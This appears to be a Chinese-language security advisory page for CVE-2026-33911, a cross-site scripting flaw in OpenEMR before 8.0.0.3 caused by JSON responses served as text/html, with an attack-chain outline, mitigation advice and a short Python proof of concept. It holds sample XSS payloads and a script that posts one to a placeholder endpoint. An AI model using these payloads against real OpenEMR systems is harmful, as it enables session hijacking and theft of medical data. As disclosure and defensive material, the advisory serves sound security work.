IPBUF安全漏洞报告
English
CVE-2026-33911 CVSS 5.4 中危

CVE-2026-33911 OpenEMR 跨站脚本漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-33911
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenEMR

相关标签

XSSOpenEMRCVE-2026-33911Web安全跨站脚本内容混淆

漏洞概述

OpenEMR是一款广泛使用的开源电子健康记录和医疗实践管理应用软件。在8.0.0.3版本之前,该系统存在一个跨站脚本(XSS)安全漏洞。问题的核心在于服务器在处理包含`title`参数的POST请求时,将用户输入的数据通过`json_encode()`函数封装成JSON格式返回,但错误地将HTTP响应的Content-Type设置为`text/html`。这种配置导致浏览器将服务器返回的JSON数据误认为是HTML文档进行解析。经过身份验证的攻击者可以构造包含恶意HTML标签或JavaScript代码的请求,诱导受害者访问,从而在受害者的浏览器会话中执行任意恶意脚本,可能导致会话劫持或敏感数据泄露。

技术细节

该漏洞利用了浏览器对响应内容类型的处理机制以及服务器配置错误。正常情况下,API接口应返回`application/json`类型的响应,浏览器会将其作为纯数据处理。然而,OpenEMR在受影响版本中,虽然使用了`json_encode()`对数据进行序列化,但未指定正确的MIME类型。当攻击者在`title`参数中注入如`<script>alert(1)</script>`或`<img src=x onerror=alert(1)>`等载荷时,服务器将其编码并放入JSON字符串中返回。由于响应头为`text/html`,浏览器会尝试渲染该内容。如果载荷没有被正确转义或上下文允许,浏览器将执行其中的JavaScript代码。由于CVSS向量显示需要低权限用户(PR:L)和用户交互(UI:R),攻击者通常需要通过社会工程学手段诱导已登录的管理员或用户点击特定的链接或按钮,从而触发恶意代码的执行,进而窃取Cookie或进行进一步的内网攻击。

攻击链分析

STEP 1
侦察阶段
攻击者识别出目标使用的是OpenEMR系统,且版本低于8.0.0.3。
STEP 2
漏洞利用准备
攻击者构造包含恶意JavaScript代码的POST请求,将载荷注入到`title`参数中。
STEP 3
载荷投递
由于需要低权限认证,攻击者通过钓鱼邮件或社会工程学诱导已登录用户点击或提交特制的请求。
STEP 4
代码执行
服务器返回带有`text/html`类型的JSON响应,受害者浏览器解析并执行其中的恶意脚本。
STEP 5
达成目标
恶意脚本在受害者上下文中运行,窃取Session ID或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://target-openemr-instance/path/to/vulnerable/endpoint" # Attacker's session cookie (Authentication required) session_cookie = "PHPSESSID=attacker_session_id; OpenEMR=auth_token" headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload to be injected into the 'title' parameter # Using a simple script tag to demonstrate execution payload = "<script>alert('XSS CVE-2026-33911');</script>" data = { "title": payload } try: response = requests.post(target_url, headers=headers, data=data) # Check if the response Content-Type is text/html (vulnerable behavior) content_type = response.headers.get('Content-Type', '') if "text/html" in content_type: print(f"[+] Potential Vulnerability Detected!") print(f"[+] Response Content-Type: {content_type}") print(f"[+] Response Content: {response.text[:200]}...") else: print("[-] Response Content-Type is not text/html. Might be patched.") except Exception as e: print(f"Error: {e}")

影响范围

OpenEMR < 8.0.0.3

防御指南

临时缓解措施
建议管理员尽快将OpenEMR系统升级至8.0.0.3版本以彻底修复此漏洞。如果暂时无法升级,应部署Web应用防火墙(WAF)规则,检测并拦截包含HTML标签的POST请求参数,特别是针对`title`字段。同时,加强对用户的网络安全意识培训,警惕不明来源的链接和请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表